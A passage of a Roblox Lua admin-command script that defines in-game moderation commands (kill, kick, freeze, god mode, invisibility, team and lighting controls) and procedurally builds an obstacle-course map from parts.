636 local BackupServices={'Lighting','StarterPack','StarterGui','SoundService','Workspace'}
637 local BackupData={};
638 for Index,BackupService in pairs(BackupServices) do
639 local Container=Instance.new('Model');
640 Container.Name=BackupService;
641 BackupData[BackupService]=Container;
642 for ChildIndex,Child in pairs(game:GetService(BackupService):GetChildren()) do
643 if (Child.archivable) and (Child~=script) then
644 Child:Clone().Parent=Container;
645 end
646 end
647 end
648 GameBackups[BackupIndex]=BackupData;
649end)
650CreateModule('RestoreGame',function(BackupIndex)
651 local BackupServices={'Lighting','StarterPack','StarterGui','SoundService','Workspace'}
652 local BackupData=GameBackups[BackupIndex];
653 for Index,BackupService in pairs(BackupServices) do
654 for ChildIndex,Child in pairs(game:GetService(BackupService):GetChildren()) do
655 if (Child~=script) then
656 pcall(Child.Remove,Child);
657 end
658 end
659 end
660 for Index,Container in pairs(BackupData) do
661 for ChildIndex,Child in pairs(Container:GetChildren()) do
662 local NewChild=Child:Clone();
663 NewChild.Parent=game:GetService(Container.Name);
664 pcall(function() NewChild:MakeJoints(); end);
665 end
666 end
667end)
668--Define commands
669RunModule('CommandModule','/die','Kills the given user','/d','#cs#(.+)',function(Speaker,...)
670 local Targets=RunModule('GetPlayer',...,Speaker);
671 if (Targets~=nil) then
672 for Index,Target in pairs(Targets) do
673mwq('[API]; You were ownd!' ,Target.PlayerGui)
674hgf(Target, 'Pink')
675 if (Target.Character~=nil) then
676 for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
677 if (Child.className=='Humanoid') then
678 Child.Health=0;
679 end
680 end
681 end
682 end
683 end
684end)
685RunModule('CommandModule','/ffon','Gives the given user a forcefield','/ff','#cs#(.+)',function(Speaker,...)
686 local Targets=RunModule('GetPlayer',...,Speaker);
687 if (Targets~=nil) then
688 for Index,Target in pairs(Targets) do
689 NewInstance('ForceField',Target.Character);
690mwq('[API]; You were quick protectd!' ,Target.PlayerGui)
691hgf(Target, 'Really red')
692 end
693 end
694end)
695RunModule('CommandModule','/ffoff','Removes the given user forcefield','/unf','#cs#(.+)',function(Speaker,...)
696 local Targets=RunModule('GetPlayer',...,Speaker);
697 if (Targets~=nil) then
698 for Index,Target in pairs(Targets) do
699mwq('[API]; You were unprotectd!' ,Target.PlayerGui)
700hgf(Target, 'Really blue')
701 if (Target.Character~=nil) then
702 for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
703 if (Child.className=='ForceField') then
704 Child:Remove()
705 end
706 end
707 end
708 end
709 end
710end)
711RunModule('CommandModule','/god','Makes the given user immune to all health damage','/g','#cs#(.+)',function(Speaker,...)
712 local Targets=RunModule('GetPlayer',...,Speaker);
713 if (Targets~=nil) then
714 for Index,Target in pairs(Targets) do
715mwq('[API]; You were max healthd!' ,Target.PlayerGui)
716hgf(Target, 'White')
717 if (Target.Character~=nil) then
718 for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
719 if (Child.className=='Humanoid') then
720 Child.MaxHealth=math.huge;
721 Child.Health=math.huge;
722 end
723 end
724 end
725 end
726 end
727end)
728RunModule('CommandModule','/nogod','Reverses the effect of immortalon','/ng','#cs#(.+)',function(Speaker,...)
729 local Targets=RunModule('GetPlayer',...,Speaker);
730 if (Targets~=nil) then
731 for Index,Target in pairs(Targets) do
732mwq('[API]; You were unmax healthd!' ,Target.PlayerGui)
733hgf(Target, 'Really black')
734 if (Target.Character~=nil) then
735 for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
736 if (Child.className=='Humanoid') then
737 Child.MaxHealth=100;
738 Child.Health=100;
739 end
740 end
741 end
742 end
743 end
744end)
745RunModule('CommandModule','/invisibleon','Makes the given user invisible','/inv','#cs#(.+)',function(Speaker,...)
746 local Targets=RunModule('GetPlayer',...,Speaker);
747 if (Targets~=nil) then
748 for Index,Target in pairs(Targets) do
749mwq('[API]; You were max transparentd!' ,Target.PlayerGui)
750hgf(Target, 'Blue')
751 if (Target.Character~=nil) then
752 for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
753 if (Child.className=='Part') then
754 Child.Transparency=1;
755 elseif (Child.className=='Hat') then
756 local Handle=Child:FindFirstChild('Handle');
757 if (Handle~=nil) then
758 if (Handle.className=='Part') then
759 Handle.Transparency=1;
760 end
761 end
762 end
763 end
764 end
765 end
766 end
767end)
768RunModule('CommandModule','/invisibleoff','Makes the given user visible','/vis','#cs#(.+)',function(Speaker,...)
769 local Targets=RunModule('GetPlayer',...,Speaker);
770 if (Targets~=nil) then
771 for Index,Target in pairs(Targets) do
772mwq('[API]; You were unmax transparentd!' ,Target.PlayerGui)
773hgf(Target, 'Purple')
774 if (Target.Character~=nil) then
775 for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
776 if (Child.className=='Part') then
777 Child.Transparency=0;
778 elseif (Child.className=='Hat') then
779 local Handle=Child:FindFirstChild('Handle');
780 if (Handle~=nil) then
781 if (Handle.className=='Part') then
782 Handle.Transparency=0;
783 end
784 end
785 end
786 end
787 end
788 end
789 end
790end)
791RunModule('CommandModule','/des','Kicks the given user from the game','/de','#cs#(.+)',function(Speaker,...)
792 local Targets=RunModule('GetPlayer',...,Speaker);
793 if (Targets~=nil) then
794 for Index,Target in pairs(Targets) do
795mwq('[API]; Destroyd the target from game.' ,low)
796hgf(Target, 'Dark green')
797 RunModule('DisposePlayer',Target,Speaker);
798 end
799 end
800end)
801RunModule('CommandModule','/anc','Freezes the given user','/fre','#cs#(.+)',function(Speaker,...)
802 local Targets=RunModule('GetPlayer',...,Speaker);
803 if (Targets~=nil) then
804 for Index,Target in pairs(Targets) do
805mwq('[API]; You were frozed!' ,Target.PlayerGui)
806hgf(Target, 'Navy blue')
807 if (Target.Character~=nil) then
808 for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
809 if (Child.className=='Part') then
810 Child.Anchored=true;
811 elseif (Child.className=='Humanoid') then
812 Child.WalkSpeed=0;
813 end
814 end
815 end
816 end
817 end
818end)
819RunModule('CommandModule','/unanc','Thaws the given user','/thaw','#cs#(.+)',function(Speaker,...)
820 local Targets=RunModule('GetPlayer',...,Speaker);
821 if (Targets~=nil) then
822 for Index,Target in pairs(Targets) do
823mwq('[API]; You were unfrozed!' ,Target.PlayerGui)
824hgf(Target, 'Medium stone grey')
825 if (Target.Character~=nil) then
826 for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
827 if (Child.className=='Part') then
828 Child.Anchored=false;
829 elseif (Child.className=='Humanoid') then
830 Child.WalkSpeed=16;
831 end
832 end
833 end
834 end
835 end
836end)
837RunModule('CommandModule','/maxplayers','Sets the servers MaxPlayers.','/mp','#cs#(%d+)',function(Speaker,Integer)
838 if (Integer~=nil) and (Integer>0) then
839 game:GetService('Players').MaxPlayers=Integer;
840mwq('[API]; Changd the maxplayers.' ,low)
841 end
842end)
843RunModule('CommandModule','/time','Sets the ambient time','/tm','#cs#(%w+)',function(Speaker,Input)
844mwq('[API]; Changd the time lapse.' ,low)
845 local ParsedInput;
846 if (Input=='dawn' or Input=='sunrise') then
847 ParsedInput=6;
848 elseif (Input=='noon' or Input=='midday') then
849 ParsedInput=12;
850 elseif (Input=='middnight') then
851 ParsedInput=0;
852 elseif (Input=='random') then
853 ParsedInput=math.random(0,24);
854 end
855 if (ParsedInput==nil) and (Input:find('(%d+)')==1) then
856 ParsedInput=Input:match('%d+');
857 end
858 pcall(function() game:GetService('Lighting').TimeOfDay=ParsedInput; end)
859end)
860RunModule('CommandModule','/brightness','Sets the ambient brightness','/b','#cs#(%d+)',function(Speaker,Integer)
861 if (Integer~=nil) then
862mwq('[API]; Changd the lighting.' ,low)
863 game:GetService('Lighting').Brightness=tonumber(Integer);
864 end
865end)
866RunModule('CommandModule','/newteam','Creates a new team','/newt','#cs#(.+)',function(Speaker,Input)
867mwq('[API]; Created a new team.' ,low)
868 local Teams=game:GetService('Teams');
869 local Team=NewInstance('Team');
870 local TeamName,R,G,B=Input:match(RunModule('ParseMatch','(.-)#cs#(%d+)#cs#(%d+)#cs#(%d+)'));
871 if (R~=nil) and (G~=nil) and (B~=nil) then
872 Team.TeamColor=NewBrickColor(R/255,G/255,B/255);
873 Team.Name=TeamName;
874 Team.AutoColorCharacters=false;
875 Team.Parent=Teams;
876 else
877 Team.TeamColor=RandomBrickColor();
878 Team.Name=Input;
879 Team.AutoColorCharacters=false;
880 Team.Parent=Teams;
881 end
882end,true)
883RunModule('CommandModule','/switchteam','Switches the given user to a different team','/swt','#cs#(.-)#cs#(.+)',function(Speaker,Usernames,TeamName)
884 local Targets=RunModule('GetPlayer',Usernames,Speaker);
885 local Teams=game:GetService('Teams');
886 local SelectedTeam;
887 for TeamIndex,Team in pairs(Teams:GetTeams()) do
888 if (Team.Name:lower():find(TeamName)==1) then
889 SelectedTeam=Team;
890 end
891 end
892 if (SelectedTeam==nil) then return end
893 if (Targets~=nil) then
894 for Index,Target in pairs(Targets) do
895 Target.TeamColor=SelectedTeam.TeamColor;
896 Target.Neutral=false;
897 end
898 end
899end)
900RunModule('CommandModule','/removeteam','Removes the given team','/remt','#cs#(.+)',function(Speaker,TeamName)
901 mwq('[API]; Removed a team.' ,low)
902local Teams=game:GetService('Teams');
903 for Index,Team in pairs(Teams:GetTeams()) do
904 if (Team.Name:lower():find(TeamName:lower())==1) then
905 Team:Remove();
906 end
907 end
908 if (#Teams:GetTeams()==0) then
909 for Index,Player in pairs(game:GetService('Players'):GetPlayers()) do
910 Player.Neutral=true;
911 end
912 end
913end)
914RunModule('CommandModule','/neutralon','Makes the given user neutral (Player.Neutral)','/neuon','#cs#(.+)',function(Speaker,...)
915 local Targets=RunModule('GetPlayer',...,Speaker);
916 if (Targets~=nil) then
917 for Index,Target in pairs(Targets) do
918 Target.Neutral=true;
919 end
920 end
921end)
922RunModule('CommandModule','/neutraloff','Makes the given user not neutral (Player.Neutral)','/neuoff','#cs#(.+)',function(Speaker,...)
923 local Targets=RunModule('GetPlayer',...,Speaker);
924 if (Targets~=nil) then
925 for Index,Target in pairs(Targets) do
926 Target.Neutral=false;
927 end
928 end
929end)
930RunModule('CommandModule','/adminlist','Shows the admin list','/cal','#cs#',function(Speaker)
931 local Index=0;
932 local DisplayText=string.rep(' ',40)..'Adminlist: '..table.concat(MaskAdminlist,', ');
933 local Hint=RunModule('ShowHint',Speaker,DisplayText);
934 while RunModule('ScrollText',DisplayText,Index)~='' do
935 Hint.Text=RunModule('ScrollText',DisplayText,Index);
936 Index=Index+1;
937 wait(0.05);
938 end
939 Hint.Parent=nil;
940end)
941RunModule('CommandModule','/bannedlist','Shows the banned list','/cbl','#cs#',function(Speaker)
942 local Index=0;
943 local DisplayText=string.rep(' ',40)..'Bannedlist: '..table.concat(Bannedlist,', ');
944 local Hint=RunModule('ShowHint',Speaker,DisplayText);
945 while RunModule('ScrollText',DisplayText,Index)~='' do
946 Hint.Text=RunModule('ScrollText',DisplayText,Index);
947 Index=Index+1;
948 wait(0.05);
949 end
950 Hint.Parent=nil;
951end)
952RunModule('CommandModule','/hint','Creates a hint','/hn','#cs#(.+)',function(Speaker,Text)
953 local Hint=NewInstance('Hint')
954 Hint.Parent=Workspace;
955 Hint.Text=Text;
956 delay(5,function() Hint:Remove() end)
957end,true)
958RunModule('CommandModule','/lool','Creates a message','/trol','#cs#(.+)',function(Speaker,Text)
959 local Hint=NewInstance('Message')
960 Hint.Parent=Workspace;
961 Hint.Text=Text;
962 delay(5,function() Hint:Remove() end)
963end,true)
964RunModule('CommandModule','/sfothgame','Creates a SFOTHO Game','/sfg','#cs#(.+)',function(Speaker,Text)
965qwe('[API]; SFOTHO Loaded!')
966G=workspace
967Q = new('Part')
968Q.Parent = G
969Q.Size = vnew(64,244,64)
970Q.CFrame = fnew(-70, 123.4, -186)
971Q.Anchored = true
972Q.Locked = false
973Q.BrickColor = bcn('Reddish brown')
974--[[===[SKY??]===]]--
975local EQ = Instance.new('Sky')
976EQ.Parent = game.Lighting
977EQ.SkyboxBk = 'http://www.roblox.com/asset/?version=1&id=1012890'
978EQ.SkyboxDn = 'http://www.roblox.com/asset/?version=1&id=1012891'
979EQ.SkyboxFt = 'http://www.roblox.com/asset/?version=1&id=1012887'
980EQ.SkyboxLf = 'http://www.roblox.com/asset/?version=1&id=1012889'
981EQ.SkyboxRt = 'http://www.roblox.com/asset/?version=1&id=1012888'
982EQ.SkyboxUp = 'http://www.roblox.com/asset/?version=1&id=1014449'
983--[[==[PARTS]==]]--
984
985Q1 = new('Part')
986Q1.Parent = G
987Q1.Size = vnew(42, 20.4, 12)
988Q1.CFrame = fnew(-69, 219.4, -224)
989Q1.Anchored = true
990Q1.Locked = false
991Q1.BrickColor = bcn('Reddish brown')
992
993Q14 = new('Part')
994Q14.Parent = AW
995Q14.Size = vnew(6, 0.4, 6)
996Q14.CFrame = fnew(67, 246.8, -184)
997Q14.Anchored = true
998Q14.Locked = false
999Q14.BrickColor = bcn('Bright green')
1000
1001Q145 = new('Part')
1002Q145.Parent = AW
1003Q145.Size = vnew(8, 0.4, 8)
1004Q145.CFrame = fnew(67, 246.4, -184)
1005Q145.Anchored = true
1006Q145.Locked = false
1007Q145.BrickColor = bcn('Black')
1008
1009Q14 = new('Part')
1010Q14.Parent = AW
1011Q14.Size = vnew(6, 0.4, 6)
1012Q14.CFrame = fnew(-193, 255.2, -182)
1013Q14.Anchored = true
1014Q14.Locked = false
1015Q14.BrickColor = bcn('Bright green')
1016
1017Q147 = new('Part')
1018Q147.Parent = AW
1019Q147.Size = vnew(5, 1.2, 105)
1020Q147.CFrame = fnew(-68.5, 245.6, 74.5)
1021Q147.Anchored = true
1022Q147.Locked = false
1023Q147.BrickColor = bcn('Dark stone grey')
1024
1025Q145 = new('Part')
1026Q145.Parent = AW
1027Q145.Size = vnew(8, 0.4, 8)
1028Q145.CFrame = fnew(-193, 254.8, -182)
1029Q145.Anchored = true
1030Q145.Locked = false
1031Q145.BrickColor = bcn('Black')
1032
1033
1034Q13 = new('Part')
1035Q13.Parent = G
1036Q13.Size = vnew(18, 1.2, 18)
1037Q13.CFrame = fnew(30.12, 245.8, -185.9)
1038Q13.Anchored = true
1039Q13.Locked = false
1040Q13.BrickColor = bcn('Bright orange')
1041--[[==[PLATE TEMPLATE]==]]--
1042Q7 = new('Part')
1043Q7.Parent = G
1044Q7.Size = vnew(16, 1.2, 16)
1045Q7.CFrame = fnew(-69, 244.8, -93)
1046Q7.Anchored = true
1047Q7.Locked = false
1048Q7.BrickColor = bcn('Dark stone grey')
1049--[[=====[SPAWNS]=====]]--
1050Q11 = new('SpawnLocation')
1051Q11.Parent = G
1052Q11.Size = vnew(6, 1.2, 6)
1053Q11.CFrame = fnew(-44, 245.8, -160)
1054Q11.Anchored = true
1055Q11.Locked = false
1056Q11.BrickColor = bcn('Bright yellow')
1057Q11.TopSurface = 'Smooth'
1058
1059D = new('Decal')
1060D.Parent = Q11
1061D.Texture = 'rbxasset://Textures/SpawnLocation.png'
1062D.Face = 'Top'
1063
1064Q11 = Q11:Clone()
1065Q11.Size = vnew(6, 1.2, 6)
1066Q11.CFrame = fnew(-44, 245.8, -212)
1067Q11.Parent = G
1068Q11 = Q11:Clone()
1069Q11.Size = vnew(6, 1.2, 6)
1070Q11.CFrame = fnew(-96, 245.8, -212)
1071Q11.Parent = G
1072Q11 = Q11:Clone()
1073Q11.Size = vnew(6, 1.2, 6)
1074Q11.CFrame = fnew(-96, 245.8, -160)
1075Q11.Parent = G
1076Q11 = Q11:Clone()
1077Q11.Size = vnew(6, 1.2, 6)
1078Q11.CFrame = fnew(-153, 285, -108)
1079Q11.Parent = G
1080Q11 = Q11:Clone()
1081Q11.Size = vnew(6, 1.2, 6)
1082Q11.CFrame = fnew(-69, 245.6, 12)
1083Q11.Parent = G
1084--[[====[PLATES]====]]--
1085Q1 = Q1:Clone()
1086Q1.Size = vnew(17, 1.2, 18)
1087Q1.CFrame = fnew(-30.5, 245.8, -186)
1088Q1.Parent = G
1089Q1 = Q1:Clone()
1090Q1.Size = vnew(18, 1.2, 18)
1091Q1.CFrame = fnew(-70, 244.6, -145)
1092Q1.Parent = G
1093Q1 = Q1:Clone()
1094Q1.Size = vnew(4, 1.2, 18)
1095Q1.CFrame = fnew(-103, 245.8, -186)
1096Q1.Parent = G
1097Q1 = Q1:Clone()
1098Q1.Size = vnew(12, 1.2, 10)
1099Q1.CFrame = fnew(-55, 230.2, -233)
1100Q1.Parent = G
1101Q1 = Q1:Clone()
1102Q1.Size = vnew(12, 1.2, 10)
1103Q1.CFrame = fnew(-53, 231.4, -238)
1104Q1.Parent = G
1105Q1 = Q1:Clone()
1106Q1.Size = vnew(12, 1.2, 10)
1107Q1.CFrame = fnew(-49, 232.6, -243)
1108Q1.Parent = G
1109Q1 = Q1:Clone()
1110Q1.Size = vnew(12, 1.2, 10)
1111Q1.CFrame = fnew(-44, 233.8, -249)
1112Q1.Parent = G
1113Q1 = Q1:Clone()
1114Q1.Size = vnew(12, 1.2, 10)
1115Q1.CFrame = fnew(-40, 235, -255)
1116Q1.Parent = G
1117Q1 = Q1:Clone()
1118Q1.Size = vnew(12, 1.2, 10)
1119Q1.CFrame = fnew(-36, 236.2, -261)
1120Q1.Parent = G
1121Q1 = Q1:Clone()
1122Q1.Size = vnew(12, 1.2, 10)
1123Q1.CFrame = fnew(-31, 237.4, -265)
1124Q1.Parent = G
1125Q1 = Q1:Clone()
1126Q1.Size = vnew(12, 1.2, 10)
1127Q1.CFrame = fnew(-28, 238.6, -270)
1128Q1.Parent = G
1129Q1 = Q1:Clone()
1130Q1.Size = vnew(12, 1.2, 10)
1131Q1.CFrame = fnew(-26, 239.8, -276)
1132Q1.Parent = G
1133Q1 = Q1:Clone()
1134Q1.Size = vnew(12, 1.2, 10)
1135Q1.CFrame = fnew(-23, 241, -281)
1136Q1.Parent = G
1137Q1 = Q1:Clone()
1138Q1.Size = vnew(12, 1.2, 10)
1139Q1.CFrame = fnew(-23, 242.2, -289)
1140Q1.Parent = G
1141Q1 = Q1:Clone()
1142Q1.Size = vnew(12, 1.2, 10)
1143Q1.CFrame = fnew(-24, 243.4, -295)
1144Q1.Parent = G
1145Q1 = Q1:Clone()
1146Q1.Size = vnew(15, 1.2, 18)
1147Q1.CFrame = fnew(-26.5, 244.6, -304)
1148Q1.Parent = G
1149--[[====[MOUNTIAN]====]]--
1150Q1 = Q1:Clone()
1151Q1.Size = vnew(54, 243.6, 51)
1152Q1.CFrame = fnew(-61, 123, -308.5)
1153Q1.Parent = G
1154Q1 = Q1:Clone()
1155Q1.Size = vnew(3, 2.4, 12)
1156Q1.CFrame = fnew(-55.5, 246, -289)
1157Q1.Parent = G
1158Q1 = Q1:Clone()
1159Q1.Size = vnew(3, 4.8, 10)
1160Q1.CFrame = fnew(-58.5, 247.2, -288)
1161Q1.Parent = G
1162Q1 = Q1:Clone()
1163Q1.Size = vnew(4, 6, 10)
1164Q1.CFrame = fnew(-62, 247.8, -288)
1165Q1.Parent = G
1166Q1 = Q1:Clone()
1167Q1.Size = vnew(4, 7.2, 10)
1168Q1.CFrame = fnew(-66, 248.4, -288)
1169Q1.Parent = G
1170Q1 = Q1:Clone()
1171Q1.Size = vnew(2, 8.4, 10)
1172Q1.CFrame = fnew(-69, 249, -288)
1173Q1.Parent = G
1174Q1 = Q1:Clone()
1175Q1.Size = vnew(2, 9.6, 10)
1176Q1.CFrame = fnew(-71, 249.6, -288)
1177Q1.Parent = G
1178Q1 = Q1:Clone()
1179Q1.Size = vnew(2, 12, 10)
1180Q1.CFrame = fnew(-73, 250.8, -288)
1181Q1.Parent = G
1182Q1 = Q1:Clone()
1183Q1.Size = vnew(3, 13.2, 10)
1184Q1.CFrame = fnew(-75.5, 251.4, -288)
1185Q1.Parent = G
1186Q1 = Q1:Clone()
1187Q1.Size = vnew(3, 13.2, 10)
1188Q1.CFrame = fnew(-75.5, 251.4, -288)
1189Q1.Parent = G
1190--[[===[CONFUSIONS]===]]--
1191Q1 = Q1:Clone()
1192Q1.Size = vnew(8, 14.4, 10)
1193Q1.CFrame = fnew(-81, 252, -288)
1194Q1.Parent = G
1195Q1 = Q1:Clone()
1196Q1.Size = vnew(8, 16.8, 10)
1197Q1.CFrame = fnew(-81, 253.2, -298)
1198Q1.Parent = G
1199Q1 = Q1:Clone()
1200Q1.Size = vnew(5, 18, 10)
1201Q1.CFrame = fnew(-74.5, 253.8, -298)
1202Q1.Parent = G
1203Q1 = Q1:Clone()
1204Q1.Size = vnew(5, 20.4, 10)
1205Q1.CFrame = fnew(-69.5, 255, -298)
1206Q1.Parent = G
1207Q1 = Q1:Clone()
1208Q1.Size = vnew(3, 21.6, 10)
1209Q1.CFrame = fnew(-65.5, 255.6, -298)
1210Q1.Parent = G
1211Q1 = Q1:Clone()
1212Q1.Size = vnew(2, 22.8, 10)
1213Q1.CFrame = fnew(-63, 256.2, -298)
1214Q1.Parent = G
1215Q1 = Q1:Clone()
1216Q1.Size = vnew(5, 25.2, 10)
1217Q1.CFrame = fnew(-59.5, 257.4, -298)
1218Q1.Parent = G
1219--[[===[LASTSTEPS]===]]--
1220Q1 = Q1:Clone()
1221Q1.Size = vnew(12, 26.4, 8)
1222Q1.CFrame = fnew(-51, 258, -299)
1223Q1.Parent = G
1224Q1 = Q1:Clone()
1225Q1.Size = vnew(10, 26.4, 2)
1226Q1.CFrame = fnew(-49, 258, -304)
1227Q1.Parent = G
1228Q1 = Q1:Clone()
1229Q1.Size = vnew(10, 27.6, 3)
1230Q1.CFrame = fnew(-49, 258.6, -306.5)
1231Q1.Parent = G
1232Q1 = Q1:Clone()
1233Q1.Size = vnew(10, 30, 3)
1234Q1.CFrame = fnew(-49, 259.8, -309.5)
1235Q1.Parent = G
1236Q1 = Q1:Clone()
1237Q1.Size = vnew(11, 31.2, 5)
1238Q1.CFrame = fnew(-48.5, 260.4, -313.5)
1239Q1.Parent = G
1240Q1 = Q1:Clone()
1241Q1.Size = vnew(11, 33.6, 2)
1242Q1.CFrame = fnew(-48.5, 261.6, -317)
1243Q1.Parent = G
1244Q1 = Q1:Clone()
1245Q1.Size = vnew(11, 34.8, 2)
1246Q1.CFrame = fnew(-48.5, 262.2, -319)
1247Q1.Parent = G
1248--[[===[END=OF=THE=MOUNTIAN]===]]--
1249Q1 = Q1:Clone()
1250Q1.Size = vnew(11, 36, 7)
1251Q1.CFrame = fnew(-48.5, 262.8, -323.5)
1252Q1.Parent = G
1253Q1 = Q1:Clone()
1254Q1.Size = vnew(32, 37.2, 24)
1255Q1.CFrame = fnew(-70, 263.4, -315)
1256Q1.Parent = G
1257Q1 = Q1:Clone()
1258Q1.Size = vnew(8, 9.6, 16)
1259Q1.CFrame = fnew(-90, 277.2, -316)
1260Q1.Parent = G
1261Q1 = Q1:Clone()
1262Q1.Size = vnew(6, 9.6, 12)
1263Q1.CFrame = fnew(-97, 277.2, -315.5)
1264Q1.Parent = G
1265--[[===[TIGHT=ROPES]===]]--
1266Q1 = Q1:Clone()
1267Q1.Size = vnew(31, 1.2, 2)
1268Q1.CFrame = fnew(-111.5, 282.6, -317)
1269Q1.Parent = G
1270Q1 = Q1:Clone()
1271Q1.Size = vnew(2, 1.2, 201)
1272Q1.CFrame = fnew(-126, 283.8, -220)
1273Q1.Parent = G
1274Q1 = Q1:Clone()
1275Q1.Size = vnew(34, 283.2, 32)
1276Q1.CFrame = fnew(-144, 142.8, -109)
1277Q1.Parent = G
1278Q1 = Q1:Clone()
1279Q1.Size = vnew(92, 1.2, 2)
1280Q1.CFrame = fnew(-85, 285.2, -98)
1281Q1.Parent = G
1282--[[==[WOBBLYS]==]]--
1283Q13 = Q13:Clone()
1284Q13.Size = vnew(18, 1.2, 18)
1285Q13.CFrame = fnew(-9.87, 245.8, -185.9)
1286Q13.Parent = G
1287Q13 = Q13:Clone()
1288Q13.Size = vnew(18, 1.2, 18)
1289Q13.CFrame = fnew(10.12, 245.8, -185.9)
1290Q13.Parent = G
1291Q1 = Q1:Clone()
1292Q1.Size = vnew(32, 244.8, 32)
1293Q1.CFrame = fnew(57, 123.8, -186)
1294Q1.Parent = G
1295--[[===[FINISH]===]]--
1296Q1 = Q1:Clone()
1297Q1.Size = vnew(4, 1.2, 16)
1298Q1.CFrame = fnew(-104, 247.2, -186)
1299Q1.Parent = G
1300Q1 = Q1:Clone()
1301Q1.Size = vnew(4, 1.2, 14)
1302Q1.CFrame = fnew(-106, 248.4, -186)
1303Q1.Parent = G
1304Q1 = Q1:Clone()
1305Q1.Size = vnew(4, 1.2, 12)
1306Q1.CFrame = fnew(-108, 249.6, -186)
1307Q1.Parent = G
1308Q1 = Q1:Clone()
1309Q1.Size = vnew(4, 1.2, 10)
1310Q1.CFrame = fnew(-110, 250.8, -186)
1311Q1.Parent = G
1312Q1 = Q1:Clone()
1313Q1.Size = vnew(4, 1.2, 8)
1314Q1.CFrame = fnew(-112, 252, -186)
1315Q1.Parent = G
1316Q1 = Q1:Clone()
1317Q1.Size = vnew(4, 1.2, 6)
1318Q1.CFrame = fnew(-114, 253.2, -186)
1319Q1.Parent = G
1320Q1 = Q1:Clone()
1321Q1.Size = vnew(4, 1.2, 4)
1322Q1.CFrame = fnew(-116, 254.4, -186)
1323Q1.Parent = G
1324Q1 = Q1:Clone()
1325Q1.Size = vnew(43, 1.2, 2)
1326Q1.CFrame = fnew(-137.5, 255.6, -186)
1327Q1.Parent = G
1328--[[==[HEALPLAT]==]]--
1329Q1 = Q1:Clone()
1330Q1.Size = vnew(8, 253.2, 8)
1331Q1.CFrame = fnew(-161, 128, -186)
1332Q1.Parent = G
1333Q1 = Q1:Clone()
1334Q1.Size = vnew(10, 253.2, 15)
1335Q1.CFrame = fnew(-170, 128, -184.5)
1336Q1.Parent = G
1337Q1 = Q1:Clone()
1338Q1.Size = vnew(20, 253.2, 29)
1339Q1.CFrame = fnew(-185, 128, -182.5)
1340Q1.Parent = G
1341Q1 = Q1:Clone()
1342Q1.Size = vnew(4, 253.2, 18)
1343Q1.CFrame = fnew(-197, 128, -183)
1344Q1.Parent = G
1345Q1 = Q1:Clone()
1346Q1.Size = vnew(2, 1.2, 22)
1347Q1.CFrame = fnew(-186.5, 255.2, -204.5)
1348Q1.Parent = G
1349Q1 = Q1:Clone()
1350Q1.Size = vnew(32, 243.6, 32)
1351Q1.CFrame = fnew(-188, 123.2, -319)
1352Q1.Parent = G
1353--[[===[BIGPLATS]==]]--
1354--[[while true do
1355Q1.Transparency = 0.4
1356wait(1)
1357Q1.Transparency = 0.5
1358wait(1)
1359Q1.Transparency = 0.6
1360wait(1)
1361Q1.Transparency = 0.7
1362wait(1)
1363Q1.Transparency = 0.8
1364wait(1)
1365Q1.Transparency = 0.9
1366wait(1)
1367Q1.Transparency = 1
1368wait(1)
1369Q1.Transparency = 0.9
1370wait(1)
1371Q1.Transparency = 0.8
1372wait(1)
1373Q1.Transparency = 0.7
1374wait(1)
1375Q1.Transparency = 0.6
1376wait(1)
1377end]]--
1378Q7 = Q7:Clone()
1379Q7.Size = vnew(16, 1.2, 16)
1380Q7.CFrame = fnew(-86, 244.8, -127)
1381Q7.BrickColor = bcn('Dark stone grey')
1382Q7.Parent = G
1383Q7 = Q7:Clone()
1384Q7.Size = vnew(16, 1.2, 16)
1385Q7.CFrame = fnew(-69, 244.8, -127)
1386Q7.Parent = G
1387Q7 = Q7:Clone()
1388Q7.Size = vnew(16, 1.2, 16)
1389Q7.CFrame = fnew(-52, 244.8, -127)
1390Q7.Parent = G
1391Q7 = Q7:Clone()
1392Q7.Size = vnew(16, 1.2, 16)
1393Q7.CFrame = fnew(-86, 244.8, -110)
1394Q7.Parent = G
1395Q7 = Q7:Clone()
1396Q7.Size = vnew(16, 1.2, 16)
1397Q7.CFrame = fnew(-69, 244.8, -110)
1398Q7.Parent = G
1399Q7 = Q7:Clone()
1400Q7.Size = vnew(16, 1.2, 16)
1401Q7.CFrame = fnew(-52, 244.8, -110)
1402Q7.Parent = G
1403Q7 = Q7:Clone()
1404Q7.Size = vnew(16, 1.2, 16)
1405Q7.CFrame = fnew(-86, 244.8, -93)
1406Q7.Parent = G
1407Q7 = Q7:Clone()
1408Q7.Size = vnew(16, 1.2, 16)
1409Q7.CFrame = fnew(-69, 244.8, -93)
1410Q7.Parent = G
1411Q7 = Q7:Clone()
1412Q7.Size = vnew(16, 1.2, 16)
1413Q7.CFrame = fnew(-52, 244.8, -93)
1414Q7.Parent = G
1415Q7 = Q7:Clone()
1416Q7.Size = vnew(16, 1.2, 16)
1417Q7.CFrame = fnew(-86, 244.8, -76)
1418Q7.BrickColor = bcn('Black')
1419Q7.Parent = G
1420Q7 = Q7:Clone()
1421Q7.Size = vnew(16, 1.2, 16)
1422Q7.CFrame = fnew(-69, 244.8, -76)
1423Q7.Parent = G
1424Q7 = Q7:Clone()
1425Q7.Size = vnew(16, 1.2, 16)
1426Q7.CFrame = fnew(-52, 244.8, -76)
1427Q7.Parent = G
1428Q7 = Q7:Clone()
1429Q7.Size = vnew(16, 1.2, 16)
1430Q7.CFrame = fnew(-86, 244.8, -59)
1431Q7.Parent = G
1432Q7 = Q7:Clone()
1433Q7.Size = vnew(16, 1.2, 16)
1434Q7.CFrame = fnew(-69, 244.8, -59)
1435Q7.Parent = G
1436Q7 = Q7:Clone()
1437Q7.Size = vnew(16, 1.2, 16)
1438Q7.CFrame = fnew(-52, 244.8, -59)
1439Q7.Parent = G
1440Q7 = Q7:Clone()
1441Q7.Size = vnew(16, 1.2, 16)
1442Q7.CFrame = fnew(-86, 244.8, -42)
1443Q7.Parent = G
1444Q7 = Q7:Clone()
1445Q7.Size = vnew(16, 1.2, 16)
1446Q7.CFrame = fnew(-69, 244.8, -42)
1447Q7.Parent = G
1448Q7 = Q7:Clone()
1449Q7.Size = vnew(16, 1.2, 16)
